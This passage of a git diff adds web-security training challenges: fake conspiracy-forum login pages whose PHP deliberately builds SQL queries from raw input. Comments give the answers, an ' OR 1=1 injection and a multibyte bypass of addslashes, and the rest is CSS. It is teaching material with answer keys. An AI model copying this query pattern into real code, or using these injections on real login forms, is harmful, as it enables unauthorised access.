puts("Invalid choice..."); + break; + } + + if (finito) break; + } + +} diff --git a/challenges/challenge-alien1/data/alien.png b/challenges/challenge-alien1/data/alien.png new file mode 100644 index 00000000..b2a121fe Binary files /dev/null and b/challenges/challenge-alien1/data/alien.png differ diff --git a/challenges/challenge-alien1/data/icon.png b/challenges/challenge-alien1/data/icon.png new file mode 100644 index 00000000..2385f7f5 Binary files /dev/null and b/challenges/challenge-alien1/data/icon.png differ diff --git a/challenges/challenge-alien1/data/icons.png b/challenges/challenge-alien1/data/icons.png new file mode 100644 index 00000000..832500dc Binary files /dev/null and b/challenges/challenge-alien1/data/icons.png differ diff --git a/challenges/challenge-alien1/data/style1.css b/challenges/challenge-alien1/data/style1.css new file mode 100644 index 00000000..5af684ec --- /dev/null +++ b/challenges/challenge-alien1/data/style1.css @@ -0,0 +1,24 @@ +[class^="icon-"],[class*=" icon-"]{font-family:FontAwesome-webfont;font-weight:400;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;*margin-right:.3em} +[class^="icon-"]:before,[class*=" icon-"]:before{text-decoration:inherit;display:inline-block;speak:none} +.icon-large:before{vertical-align:-10%;font-size:1.3333333333333em} +a [class^="icon-"],a [class*=" icon-"]{display:inline} +[class^="icon-"].icon-fixed-width,[class*=" icon-"].icon-fixed-width{display:inline-block;width:1.1428571428571em;text-align:right;padding-right:.28571428571429em} +[class^="icon-"].icon-fixed-width.icon-large,[class*=" icon-"].icon-fixed-width.icon-large{width:1.4285714285714em} +.icon-2x{font-size:2em} +[class^="icon-"],[class*=" icon-"]{display:inline;width:auto;height:auto;line-height:normal;vertical-align:baseline;background-image:none;background-position:0 0;background-repeat:repeat;margin-top:0} +.icon-cog:before{content:"\f013"} +.icon-flag:before{content:"\f024"} +.icon-bookmark:before{content:"\f02e"} +.icon-arrow-up:before{content:"\f062"} +.icon-leaf:before{content:"\f06c"} +.icon-fire:before{content:"\f06d"} +.icon-calendar:before{content:"\f073"} +.icon-comments:before{content:"\f086"} +.icon-signin:before{content:"\f090"} +.icon-group:before{content:"\f0c0"} +.icon-envelope:before{content:"\f0e0"} +.icon-dashboard:before{content:"\f0e4"} +.icon-cloud-upload:before{content:"\f0ee"} +.icon-beer:before{content:"\f0fc"} +.icon-frown:before{content:"\f119"} +.icon-fire-extinguisher:before{content:"\f134"} diff --git a/challenges/challenge-alien1/data/style2.css b/challenges/challenge-alien1/data/style2.css new file mode 100644 index 00000000..2a5fed7b --- /dev/null +++ b/challenges/challenge-alien1/data/style2.css @@ -0,0 +1,44 @@ +html{width:1000px;margin-left:auto;margin-right:auto} +body{border:0;margin:0;height:100%;font-family:Ubuntu,Trebuchet MS,sans-serif;font-size:17px;font-weight:300;line-height:21px;text-decoration:none;width:1000px} +a{text-decoration:none} +a:hover{text-decoration:none} +.H3{font-size:.85em;line-height:.65em;font-weight:500} +input[type="submit"]{min-width:90px;padding:0 12px;font-size:.75em;text-align:center;height:30px;font-family:Ubuntu,Trebuchet MS;font-weight:500;border-radius:15px 15px;cursor:hand;cursor:pointer} +.homeicon{opacity:.6} +.homeicon:hover{opacity:1!important} +nav{margin-bottom:5px;max-width:1000px;margin-left:auto;margin-right:auto;position:relative;z-index:9999} +header{padding:10px;width:980px;height:90px;margin-left:auto;margin-right:auto;border-top:2px #000 solid;clear:both} +.blacktopmenu{height:45px;width:100%;position:relative;margin:0;z-index:9999;border-top:2px gray solid;border-bottom:2px #404040 solid;background:#666462} +.blacktopmenu ul{list-style:none;margin:0;padding:0;float:left} +.blacktopmenu li{float:left;list-style:none;padding:10px 9px 0;height:37px;font-size:.9em;text-decoration:none;font-weight:300} +.submenu{display:none} +.submenu ul{margin:0;z-index:999;width:100%;clear:both;list-style:none;margin:0;padding:0;float:left;height:40px;margin-bottom:5px} +.submenu li{padding:5px 0 5px 12px;height:30px;font-size:.9em;text-decoration:none;margin-left:5px;font-weight:300;float:left;list-style:none;display:block} +.submenu ul a{text-decoration:none} +.login{margin:0;z-index:999;width:100%;clear:both;display:inline-block;margin:0;padding:4px 0 0;float:left;height:40px;margin-bottom:5px} +#mainHome,#mainTop,#mainHot,#mainNew,#mainRecent,#mainArchive,#mainForums,#mainMyats,#mainLogout{display:inline} +#subTop,#subHot,#subNew,#subArchive,#subLogout{display:none} +#resbody{width:1000px;min-height:900px;margin-left:auto;margin-right:auto;margin-bottom:0;padding:0;text-align:left;overflow:auto;clear:both} +[class^="icon-"],[class*=" icon-"]{text-align:center;vertical-align:middle} +.hide{display:none} +.colorC{padding:0;border-radius:32px 32px;width:64px;height:64px;float:left;margin-right:8px} +.item{float:left;margin:12px 20px 12px 0;padding:0} +.col2{width:290px;max-height:300px;position:relative;z-index:1} +.colT{width:640px;max-height:250px;text-overflow:ellipsis;position:relative;z-index:1} +.colad{margin:10px;padding:0p;width:300px;height:70px;border:none} +.forums{margin:4px 0 4px 8px;float:left} +.tabOff{font-size:.9em;line-height:1em;font-weight:300;text-decoration:none;padding:0;letter-spacing:normal;cursor:hand;cursor:pointer} +.tabBtn{float:right;width:52px;height:40px;margin:10px 2px 0;border-radius:10px 10px;text-align:center} +.tabBtn:hover{width:52px;height:40px} +.rsinfo2{font-size:2em;line-height:1em;padding:20px 0 5px;font-weight:300;letter-spacing:-1px;text-align:right} +.rsinfo3{font-size:1.5em;line-height:1em;letter-spacing:-.5px;font-weight:300} +.rsinfo4{font-size:.85em;font-weight:300;padding:5px 0 0 15px} +.rsinfo6{font-size:.7em;line-height:1.5em;font-weight:300} +.rsinfo8{font-size:.6em;line-height:1em} +.rsbold{font-weight:500} +.textform{font-family:Trebuchet MS,sans-serif;font-size:18px;line-height:20px;width:260px;height:24px;padding:4px 0 4px 12px;border-radius:12px 12px} +.smaller{font-size:15px;width:100px;height:20px;padding:2px 0 2px 5px;margin:0 0 6px} +.board{border-radius:10px 10px;width:200px;height:82px;padding:3px} +#boardLeft{float:left;width:300px;margin:0 5px 50px;padding:15px 5px;height:auto;border-radius:15px 15px} +#boardRight{float:left;width:660px;padding:0 0 10px} +.login{margin-top:20px} diff --git a/challenges/challenge-alien1/data/style3.css b/challenges/challenge-alien1/data/style3.css new file mode 100644 index 00000000..98ce334d --- /dev/null +++ b/challenges/challenge-alien1/data/style3.css @@ -0,0 +1,29 @@ +body{background-color:#202428;color:#909498} +a:hover{color:#fff} +a{color:#c0c4c8} +.H3{color:#c0e8d0;font-size:.9em;font-weight:500} +a.H3:hover{color:#fff} +input[type="submit"]{background:#303438;border:2px #505458 solid;color:#d0d4d8} +input[type="submit"]:hover{background:#000;border:2px #606468 solid;color:#e0e4e8} +.homeicon{opacity:.7} +.blacktopmenu{height:45px;width:100%;position:relative;margin:0;z-index:9999;border-top:2px #282d30 solid;border-bottom:2px #000 solid;background:#181d20} +.blacktopmenu li{color:#b0c8b4} +.blacktopmenu li:hover{background:#404448;color:#fff} +.submenu ul{background:#111315;border-bottom:1px #1d1f21 solid} +.submenu li{color:#809884} +.submenu ul a{color:#809884} +.submenu li:hover{color:#fff} +#resbody{background:#282c30} +.colorC{background:#80D090} +.col2{border-top:2px #1f1f1f solid} +.colad{color:#393b3d} +.board{border-top:3px #282a2c solid;border-bottom:3px #282a2c solid;background:#404448} +.tabOff{color:#90c0a0} +.tabOff:hover{color:#fff} +i:hover{color:#fff} +.tabBtn{background:#181c20;border:1px #404850 solid} +.tabBtn:hover{border:2px #808890 solid;background:#000} +.rsinfo2{color:#80d090} +.rsinfo3,.rsinfo4,.rsinfo6,.rsinfo8{color:#909894} +.rsbold{color:#999b9d} +.textform{background-color:#383c40;color:#a0a4a8;border:2px #606468 solid} diff --git a/challenges/challenge-alien1/data/style4.css b/challenges/challenge-alien1/data/style4.css new file mode 100644 index 00000000..9a775be6 --- /dev/null +++ b/challenges/challenge-alien1/data/style4.css @@ -0,0 +1,19 @@ +.i-109,.i-37,.i-34,.i-33,.i-32,.i-27,.i-25,.i-24,.i-19,.i-17,.i-149,.i-140,.i-121,.i-120,.i-116,.i-118,.i-115,.i-178{display:inline-block;background-repeat:no-repeat;background-image:url(icons.png);float:left} +.i-37{background-position:0 -192px;width:64px;height:64px} +.i-34{background-position:-64px -192px;width:64px;height:64px} +.i-33{background-position:-192px -192px;width:64px;height:64px} +.i-32{background-position:-320px -192px;width:64px;height:64px} +.i-27{background-position:-640px -192px;width:64px;height:64px} +.i-25{background-position:-704px -192px;width:64px;height:64px} +.i-24{background-position:-832px -192px;width:64px;height:64px} +.i-19{background-position:-64px -256px;width:64px;height:64px} +.i-17{background-position:-576px -256px;width:64px;height:64px} +.i-149{background-position:-64px -320px;width:64px;height:64px} +.i-140{background-position:-320px -320px;width:64px;height:64px} +.i-121{background-position:0 -384px;width:64px;height:64px} +.i-120{background-position:-128px -384px;width:64px;height:64px} +.i-116{background-position:-320px -384px;width:64px;height:64px} +.i-118{background-position:-384px -384px;width:64px;height:64px} +.i-115{background-position:-448px -384px;width:64px;height:64px} +.i-109{background-position:-640px -384px;width:64px;height:64px} +.i-178{background-position:-384px -448px;width:64px;height:64px} diff --git a/challenges/challenge-alien1/index.php b/challenges/challenge-alien1/index.php new file mode 100644 index 00000000..f28eff82 --- /dev/null +++ b/challenges/challenge-alien1/index.php @@ -0,0 +1,364 @@ +startChallenge(); + +$errorMessage = ''; +if(isset($_POST['username']) && isset($_POST['password'])) { + // We don't validate the answer from the student directly. + // We first run it through an SQL database to see if the injection works. + // Then we validate the number of results returned. + // ' OR 1=1 LIMIT 1-- would be a valid answer here. + $nbResults = testSQLQuery($_POST['username'], $_POST['password']); + $valid = $validator->validateSolution($nbResults); + if(!$valid) { + switch($nbResults) { + case -1: + $errorMessage = 'SQL exception: incorrect syntax.'; + break; + case 0: + $errorMessage = 'Incorrect username or password.'; + break; + default: + $errorMessage = 'An error occurred, more than one user were found with this username and password. Please contact the administrator.'; + break; + } + } +} + +/** + * Tests the SQL injection. + * @param username The username entered by the user. + * @param password The password entered by the user. + * @return The number of results returned by the SQL query. + */ +function testSQLQuery($username, $password) { + $db = new PDO('sqlite:test.sqlite'); + $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + try { + $results = $db->query("SELECT * FROM users WHERE username = '$username' AND password = '$password'"); + } catch(Exception $e) { + return -1; + } + return count($results->fetchAll()); +} + +?> + + + + + + + Log in AlienBoard + + + + + + +
+ +
+ + + +
+ +
+
+
board stats
+

+ Total Posts: 8,082,022
+ Total Topics: 109,918
+ Total Members: 9,977
+ 5,018 new posts in the past 24 hours
+ 124,543 new posts in the past 30 days
+ 140 new topics in the past 24 hours
+ 2,911 new topics in the past 30 days
+ 1,443 guests visiting right now.
+ 167 members logged in right now
+ 3,167 members visited in the past 24 hours
+ 960 members posted in the past 24 hours

+ Most logged-in members at one time:
+     196 on Aug 23 2013 @ 19:45 GMT.
+ Most registed members in one day:
+     798 on Aug 24 2011 @ 08:30 GMT
+ Most new posts in one day:
+     3,258 on Apr 20 2012 @ 04:15 GMT.

+

+
+
+
+
+
+
Forums
+
+
+
+
+
+ Off The Grid
+ 41 topics
last post 86 min ago
+
+
+
+
+
+ Aliens and UFOs
+ 41,385 topics
last post 37 min ago
+
+
+
+
+
+ 9/11 Conspiracies
+ 9,073 topics
last post 92 min ago
+
+
+
+
+
+ The Gray Area
+ 5,985 topics
last post 2 hrs ago
+
+
+
+
+
+ Area 51 and other Facilities
+ 3,463 topics
last post 2 days ago
+
+
+
+
+
+ Global Meltdown
+ 9,604 topics
last post 14 hrs ago
+
+ +
+
+
+
+ Political Conspiracies
+ 7,735 topics
last post 2 days ago
+
+
+
+
+
+ Diseases and Pandemics
+ 3,569 topics
last post 10 min ago
+
+
+
+
+
+ Survival
+ 5,209 topics
last post 15 min ago
+
+
+
+
+
+ Disaster Conspiracies
+ 1,067 topics
last post 1 days ago
+
+
+
+
+
+ Conspiracies in Religions
+ 7,086 topics
last post 78 min ago
+
+
+
+
+
+ Ancient & Lost Civilizations
+ 5,742 topics
last post 3 hrs ago
+
+
+
+
+
+ 2012
+ 3,353 topics
last post 3 days ago
+
+
+
+
+
+ Origins and Creationism
+ 2,341 topics
last post 4 min ago
+
+
+
+
+
+ Paranormal Studies
+ 13,193 topics
last post 4 hrs ago
+
+
+
+
+
+ Predictions & Prophecies
+ 4,371 topics
last post 45 min ago
+
+
+
+
+
+ Cryptozoology
+ 4,208 topics
last post 6 hrs ago
+
+
+
+
+
+ Other Current Events
+ 27,429 topics
last post 28 min ago
+
+
+


+
+ + diff --git a/challenges/challenge-alien1/test.sqlite b/challenges/challenge-alien1/test.sqlite new file mode 100644 index 00000000..09095711 Binary files /dev/null and b/challenges/challenge-alien1/test.sqlite differ diff --git a/challenges/challenge-alien2/data/alien.png b/challenges/challenge-alien2/data/alien.png new file mode 100644 index 00000000..b2a121fe Binary files /dev/null and b/challenges/challenge-alien2/data/alien.png differ diff --git a/challenges/challenge-alien2/data/icon.png b/challenges/challenge-alien2/data/icon.png new file mode 100644 index 00000000..2385f7f5 Binary files /dev/null and b/challenges/challenge-alien2/data/icon.png differ diff --git a/challenges/challenge-alien2/data/icons.png b/challenges/challenge-alien2/data/icons.png new file mode 100644 index 00000000..832500dc Binary files /dev/null and b/challenges/challenge-alien2/data/icons.png differ diff --git a/challenges/challenge-alien2/data/style1.css b/challenges/challenge-alien2/data/style1.css new file mode 100644 index 00000000..5af684ec --- /dev/null +++ b/challenges/challenge-alien2/data/style1.css @@ -0,0 +1,24 @@ +[class^="icon-"],[class*=" icon-"]{font-family:FontAwesome-webfont;font-weight:400;font-style:normal;text-decoration:inherit;-webkit-font-smoothing:antialiased;*margin-right:.3em} +[class^="icon-"]:before,[class*=" icon-"]:before{text-decoration:inherit;display:inline-block;speak:none} +.icon-large:before{vertical-align:-10%;font-size:1.3333333333333em} +a [class^="icon-"],a [class*=" icon-"]{display:inline} +[class^="icon-"].icon-fixed-width,[class*=" icon-"].icon-fixed-width{display:inline-block;width:1.1428571428571em;text-align:right;padding-right:.28571428571429em} +[class^="icon-"].icon-fixed-width.icon-large,[class*=" icon-"].icon-fixed-width.icon-large{width:1.4285714285714em} +.icon-2x{font-size:2em} +[class^="icon-"],[class*=" icon-"]{display:inline;width:auto;height:auto;line-height:normal;vertical-align:baseline;background-image:none;background-position:0 0;background-repeat:repeat;margin-top:0} +.icon-cog:before{content:"\f013"} +.icon-flag:before{content:"\f024"} +.icon-bookmark:before{content:"\f02e"} +.icon-arrow-up:before{content:"\f062"} +.icon-leaf:before{content:"\f06c"} +.icon-fire:before{content:"\f06d"} +.icon-calendar:before{content:"\f073"} +.icon-comments:before{content:"\f086"} +.icon-signin:before{content:"\f090"} +.icon-group:before{content:"\f0c0"} +.icon-envelope:before{content:"\f0e0"} +.icon-dashboard:before{content:"\f0e4"} +.icon-cloud-upload:before{content:"\f0ee"} +.icon-beer:before{content:"\f0fc"} +.icon-frown:before{content:"\f119"} +.icon-fire-extinguisher:before{content:"\f134"} diff --git a/challenges/challenge-alien2/data/style2.css b/challenges/challenge-alien2/data/style2.css new file mode 100644 index 00000000..2a5fed7b --- /dev/null +++ b/challenges/challenge-alien2/data/style2.css @@ -0,0 +1,44 @@ +html{width:1000px;margin-left:auto;margin-right:auto} +body{border:0;margin:0;height:100%;font-family:Ubuntu,Trebuchet MS,sans-serif;font-size:17px;font-weight:300;line-height:21px;text-decoration:none;width:1000px} +a{text-decoration:none} +a:hover{text-decoration:none} +.H3{font-size:.85em;line-height:.65em;font-weight:500} +input[type="submit"]{min-width:90px;padding:0 12px;font-size:.75em;text-align:center;height:30px;font-family:Ubuntu,Trebuchet MS;font-weight:500;border-radius:15px 15px;cursor:hand;cursor:pointer} +.homeicon{opacity:.6} +.homeicon:hover{opacity:1!important} +nav{margin-bottom:5px;max-width:1000px;margin-left:auto;margin-right:auto;position:relative;z-index:9999} +header{padding:10px;width:980px;height:90px;margin-left:auto;margin-right:auto;border-top:2px #000 solid;clear:both} +.blacktopmenu{height:45px;width:100%;position:relative;margin:0;z-index:9999;border-top:2px gray solid;border-bottom:2px #404040 solid;background:#666462} +.blacktopmenu ul{list-style:none;margin:0;padding:0;float:left} +.blacktopmenu li{float:left;list-style:none;padding:10px 9px 0;height:37px;font-size:.9em;text-decoration:none;font-weight:300} +.submenu{display:none} +.submenu ul{margin:0;z-index:999;width:100%;clear:both;list-style:none;margin:0;padding:0;float:left;height:40px;margin-bottom:5px} +.submenu li{padding:5px 0 5px 12px;height:30px;font-size:.9em;text-decoration:none;margin-left:5px;font-weight:300;float:left;list-style:none;display:block} +.submenu ul a{text-decoration:none} +.login{margin:0;z-index:999;width:100%;clear:both;display:inline-block;margin:0;padding:4px 0 0;float:left;height:40px;margin-bottom:5px} +#mainHome,#mainTop,#mainHot,#mainNew,#mainRecent,#mainArchive,#mainForums,#mainMyats,#mainLogout{display:inline} +#subTop,#subHot,#subNew,#subArchive,#subLogout{display:none} +#resbody{width:1000px;min-height:900px;margin-left:auto;margin-right:auto;margin-bottom:0;padding:0;text-align:left;overflow:auto;clear:both} +[class^="icon-"],[class*=" icon-"]{text-align:center;vertical-align:middle} +.hide{display:none} +.colorC{padding:0;border-radius:32px 32px;width:64px;height:64px;float:left;margin-right:8px} +.item{float:left;margin:12px 20px 12px 0;padding:0} +.col2{width:290px;max-height:300px;position:relative;z-index:1} +.colT{width:640px;max-height:250px;text-overflow:ellipsis;position:relative;z-index:1} +.colad{margin:10px;padding:0p;width:300px;height:70px;border:none} +.forums{margin:4px 0 4px 8px;float:left} +.tabOff{font-size:.9em;line-height:1em;font-weight:300;text-decoration:none;padding:0;letter-spacing:normal;cursor:hand;cursor:pointer} +.tabBtn{float:right;width:52px;height:40px;margin:10px 2px 0;border-radius:10px 10px;text-align:center} +.tabBtn:hover{width:52px;height:40px} +.rsinfo2{font-size:2em;line-height:1em;padding:20px 0 5px;font-weight:300;letter-spacing:-1px;text-align:right} +.rsinfo3{font-size:1.5em;line-height:1em;letter-spacing:-.5px;font-weight:300} +.rsinfo4{font-size:.85em;font-weight:300;padding:5px 0 0 15px} +.rsinfo6{font-size:.7em;line-height:1.5em;font-weight:300} +.rsinfo8{font-size:.6em;line-height:1em} +.rsbold{font-weight:500} +.textform{font-family:Trebuchet MS,sans-serif;font-size:18px;line-height:20px;width:260px;height:24px;padding:4px 0 4px 12px;border-radius:12px 12px} +.smaller{font-size:15px;width:100px;height:20px;padding:2px 0 2px 5px;margin:0 0 6px} +.board{border-radius:10px 10px;width:200px;height:82px;padding:3px} +#boardLeft{float:left;width:300px;margin:0 5px 50px;padding:15px 5px;height:auto;border-radius:15px 15px} +#boardRight{float:left;width:660px;padding:0 0 10px} +.login{margin-top:20px} diff --git a/challenges/challenge-alien2/data/style3.css b/challenges/challenge-alien2/data/style3.css new file mode 100644 index 00000000..98ce334d --- /dev/null +++ b/challenges/challenge-alien2/data/style3.css @@ -0,0 +1,29 @@ +body{background-color:#202428;color:#909498} +a:hover{color:#fff} +a{color:#c0c4c8} +.H3{color:#c0e8d0;font-size:.9em;font-weight:500} +a.H3:hover{color:#fff} +input[type="submit"]{background:#303438;border:2px #505458 solid;color:#d0d4d8} +input[type="submit"]:hover{background:#000;border:2px #606468 solid;color:#e0e4e8} +.homeicon{opacity:.7} +.blacktopmenu{height:45px;width:100%;position:relative;margin:0;z-index:9999;border-top:2px #282d30 solid;border-bottom:2px #000 solid;background:#181d20} +.blacktopmenu li{color:#b0c8b4} +.blacktopmenu li:hover{background:#404448;color:#fff} +.submenu ul{background:#111315;border-bottom:1px #1d1f21 solid} +.submenu li{color:#809884} +.submenu ul a{color:#809884} +.submenu li:hover{color:#fff} +#resbody{background:#282c30} +.colorC{background:#80D090} +.col2{border-top:2px #1f1f1f solid} +.colad{color:#393b3d} +.board{border-top:3px #282a2c solid;border-bottom:3px #282a2c solid;background:#404448} +.tabOff{color:#90c0a0} +.tabOff:hover{color:#fff} +i:hover{color:#fff} +.tabBtn{background:#181c20;border:1px #404850 solid} +.tabBtn:hover{border:2px #808890 solid;background:#000} +.rsinfo2{color:#80d090} +.rsinfo3,.rsinfo4,.rsinfo6,.rsinfo8{color:#909894} +.rsbold{color:#999b9d} +.textform{background-color:#383c40;color:#a0a4a8;border:2px #606468 solid} diff --git a/challenges/challenge-alien2/data/style4.css b/challenges/challenge-alien2/data/style4.css new file mode 100644 index 00000000..9a775be6 --- /dev/null +++ b/challenges/challenge-alien2/data/style4.css @@ -0,0 +1,19 @@ +.i-109,.i-37,.i-34,.i-33,.i-32,.i-27,.i-25,.i-24,.i-19,.i-17,.i-149,.i-140,.i-121,.i-120,.i-116,.i-118,.i-115,.i-178{display:inline-block;background-repeat:no-repeat;background-image:url(icons.png);float:left} +.i-37{background-position:0 -192px;width:64px;height:64px} +.i-34{background-position:-64px -192px;width:64px;height:64px} +.i-33{background-position:-192px -192px;width:64px;height:64px} +.i-32{background-position:-320px -192px;width:64px;height:64px} +.i-27{background-position:-640px -192px;width:64px;height:64px} +.i-25{background-position:-704px -192px;width:64px;height:64px} +.i-24{background-position:-832px -192px;width:64px;height:64px} +.i-19{background-position:-64px -256px;width:64px;height:64px} +.i-17{background-position:-576px -256px;width:64px;height:64px} +.i-149{background-position:-64px -320px;width:64px;height:64px} +.i-140{background-position:-320px -320px;width:64px;height:64px} +.i-121{background-position:0 -384px;width:64px;height:64px} +.i-120{background-position:-128px -384px;width:64px;height:64px} +.i-116{background-position:-320px -384px;width:64px;height:64px} +.i-118{background-position:-384px -384px;width:64px;height:64px} +.i-115{background-position:-448px -384px;width:64px;height:64px} +.i-109{background-position:-640px -384px;width:64px;height:64px} +.i-178{background-position:-384px -448px;width:64px;height:64px} diff --git a/challenges/challenge-alien2/index.php b/challenges/challenge-alien2/index.php new file mode 100644 index 00000000..299638ba --- /dev/null +++ b/challenges/challenge-alien2/index.php @@ -0,0 +1,384 @@ +startChallenge(); + +$errorMessage = ''; +if(isset($_POST['username']) && isset($_POST['password'])) { + // We don't validate the answer from the student directly. + // We first run it through an SQL database to see if the injection works. + // Then we validate the number of results returned. + // ¿' OR 1=1 LIMIT 1 -- would be a valid solution is that case. + $username = escapeSingleQuotes($_POST['username']); + $password = escapeSingleQuotes($_POST['password']); + $nbResults = testSQLQuery($username, $password); + $valid = $validator->validateSolution($nbResults); + if(!$valid) { + switch($nbResults) { + case -1: + $errorMessage = 'SQL exception: incorrect syntax.'; + break; + case 0: + $errorMessage = 'Incorrect username or password.'; + break; + default: + $errorMessage = 'An error occurred, more than one user were found with this username and password. Please contact the administrator.'; + break; + } + } +} + +/** + * Tests the SQL injection. + * @param username The username entered by the user. + * @param password The password entered by the user. + * @return The number of results returned by the SQL query. + */ +function testSQLQuery($username, $password) { + $db = new PDO('sqlite:test.sqlite'); + $db->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION); + try { + $results = $db->query("SELECT * FROM users WHERE username = '$username' AND password = '$password'"); + } catch(Exception $e) { + return -1; + } + return count($results->fetchAll()); +} + +/** + * Simulate the escaping of single quotes for Mysql with addslahes. + * First, applies addslashes and then replace the escaped quotes by double quotes + * (which are the equivalent for SQLite). + * @param input An input string to escape. + * @return The escaped string. + */ +function escapeSingleQuotes($input) { + $inputMysql = addslashes($input); + if(strpos(bin2hex($inputMysql), 'bf5c27') !== false) { + // The bypass of addslashes using an invalid multi-byte character seems successfull. + // We skip the last replace because it would break the new multi-byte character. + return $inputMysql; + } + $inputSQLite = str_replace("\'", "''", $inputMysql); + return $inputSQLite; +} + +?> + + + + + + + Log in AlienBoard + + + + + + +
+ +
+ + + +
+ +
+
+
board stats
+

+ Total Posts: 8,082,022
+ Total Topics: 109,918
+ Total Members: 9,977
+ 5,018 new posts in the past 24 hours
+ 124,543 new posts in the past 30 days
+ 140 new topics in the past 24 hours
+ 2,911 new topics in the past 30 days
+ 1,443 guests visiting right now.
+ 167 members logged in right now
+ 3,167 members visited in the past 24 hours
+ 960 members posted in the past 24 hours

+ Most logged-in members at one time:
+     196 on Aug 23 2013 @ 19:45 GMT.
+ Most registed members in one day:
+     798 on Aug 24 2011 @ 08:30 GMT
+ Most new posts in one day:
+     3,258 on Apr 20 2012 @ 04:15 GMT.

+

+
+
+
+
+
+
Forums
+
+
+
+
+
+ Off The Grid
+ 41 topics
last post 86 min ago
+
+
+
+
+
+ Aliens and UFOs
+ 41,385 topics
last post 37 min ago
+
+
+
+
+
+ 9/11 Conspiracies
+ 9,073 topics
last post 92 min ago
+
+
+
+
+
+ The Gray Area
+ 5,985 topics
last post 2 hrs ago
+
+
+
+
+
+ Area 51 and other Facilities
+ 3,463 topics
last post 2 days ago
+
+
+
+
+
+ Global Meltdown
+ 9,604 topics
last post 14 hrs ago
+
+ +
+
+
+
+ Political Conspiracies
+ 7,735 topics
last post 2 days ago
+
+
+
+
+
+ Diseases and Pandemics
+ 3,569 topics
last post 10 min ago
+
+
+
+
+
+ Survival
+ 5,209 topics
last post 15 min ago
+
+
+
+
+
+ Disaster Conspiracies
+ 1,067 topics
last post 1 days ago
+
+
+
+
+
+ Conspiracies in Religions
+ 7,086 topics
last post 78 min ago
+
+
+
+
+
+ Ancient & Lost Civilizations
+ 5,742 topics
last post 3 hrs ago
+
+
+
+
+
+ 2012
+ 3,353 topics
last post 3 days ago
+
+
+
+
+
+ Origins and Creationism
+ 2,341 topics
last post 4 min ago
+
+
+
+
+
+ Paranormal Studies
+ 13,193 topics
last post 4 hrs ago
+
+
+
+
+
+ Predictions & Prophecies
+ 4,371 topics
last post 45 min ago
+
+
+
+
+
+ Cryptozoology
+ 4,208 topics
last post 6 hrs ago
+
+
+
+
+
+ Other Current Events
+ 27,429 topics
last post 28 min ago
+
+
+


+
+ + diff --git a/challenges/challenge-alien2/test.sqlite b/challenges/challenge-alien2/test.sqlite new file mode 100644 index 00000000..09095711 Binary files /dev/null and b/challenges/challenge-alien2/test.sqlite differ diff --git a/challenges/challenge-bigblue/data/icon.png b/challenges/challenge-bigblue/data/icon.png new file mode 100644 index 00000000..c952660e Binary files /dev/null and b/challenges/challenge-bigblue/data/icon.png differ diff --git a/challenges/challenge-bigblue/data/logo.png b/challenges/challenge-bigblue/data/logo.png new file mode 100644 index 00000000..259f6308 Binary files /dev/null and b/challenges/challenge-bigblue/data/logo.png differ diff --git a/challenges/challenge-bigblue/data/style1.css b/challenges/challenge-bigblue/data/style1.css new file mode 100644 index 00000000..e2fcd663 --- /dev/null +++ b/challenges/challenge-bigblue/data/style1.css @@ -0,0 +1,175 @@ +html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,embed,figure,figcaption,footer,header,hgroup,menu,nav,output,ruby,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font:inherit;font-size:100%;vertical-align:baseline} +html{line-height:1} +ol,ul{list-style:none} +table{border-collapse:collapse;border-spacing:0} +caption,th,td{text-align:left;font-weight:400;vertical-align:middle} +q,blockquote{quotes:none} +q:before,q:after,blockquote:before,blockquote:after{content:"";content:none} +article,aside,details,figcaption,figure,footer,header,hgroup,menu,nav,section,summary{display:block} +#add_to_browser .modal__browser:before{-moz-border-radius:50%;-webkit-border-radius:50%;border-radius:50%} +.btn,.header__button--menu{display:inline-block;vertical-align:middle;white-space:nowrap;text-align:center;position:relative;text-decoration:none;margin-top:0;margin-bottom:0;padding:0 1em;line-height:2.5;border:1px solid #babec9;text-shadow:0 1px 1px rgba(255,255,255,0.1);background-color:#f8f8f8;color:#474747;-moz-border-radius:.25em;-webkit-border-radius:.25em;border-radius:.25em;-webkit-box-sizing:content-box;-moz-box-sizing:content-box;-ms-box-sizing:content-box;-o-box-sizing:content-box;box-sizing:content-box;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:-moz-none;-ms-user-select:none;user-select:none;cursor:pointer} +Ñ.btn:hover,.btn:hover,.button:hover{text-decoration:none;background-color:#fff} +Ñ.btn:active,.btn:active,.button:active{background-color:#eee} +img{max-width:100%} +pre,tt,code{font-family:Consolas,Menlo,Monaco,monospace;color:#fafafa;background:#333;-moz-border-radius:.25em;-webkit-border-radius:.25em;border-radius:.25em;background-clip:padding-box} +tt{padding:0 3px 1px} +pre{margin:0 .5em 1em 0;overflow:auto;padding:1em;-moz-tab-size:1;-o-tab-size:1;tab-size:1;-ms-word-break:normal;word-break:normal;word-break:normal;-webkit-hyphens:none;-moz-hyphens:none;-ms-hyphens:none;hyphens:none;position:relative;display:block;max-width:100%;overflow:auto;white-space:pre-wrap;white-space:-moz-pre-wrap;white-space:-pre-wrap;white-space:-o-pre-wrap} +table{display:table} +h1,h2,h3,h4,h5,h6,p,ul,ol,blockquote{padding-top:.5em;padding-bottom:.5em} +h1{font-size:3em} +h2{font-size:2em} +h3{font-size:1.75em} +h4{font-size:1.5em} +h5{font-size:1.33em} +h6{font-size:1.1667em} +small,.nav-menu__item{font-size:.9167em} +.btn,.header__button--menu{-webkit-appearance:none;-moz-appearance:none;-ms-appearance:none;-o-appearance:none;appearance:none;-webkit-transition:none .3s ease-in-out;-webkit-transition-delay:0;-moz-transition:none .3s ease-in-out 0;-o-transition:none .3s ease-in-out 0;transition:none .3s ease-in-out 0;outline:none!important;background-color:#fafafa;border:none;border-bottom:2px solid #ccc;line-height:2;font-weight:600;font-size:1em;padding-top:2px;padding-bottom:2px} +.btn,.btn:visited,.header__button--menu,.header__button--menu:visited{color:#3b3b3b} +.btn:hover,.header__button--menu:hover{text-decoration:none!important} +.btn:active{background-color:#fafafa;border-bottom-color:#fafafa} +.modal 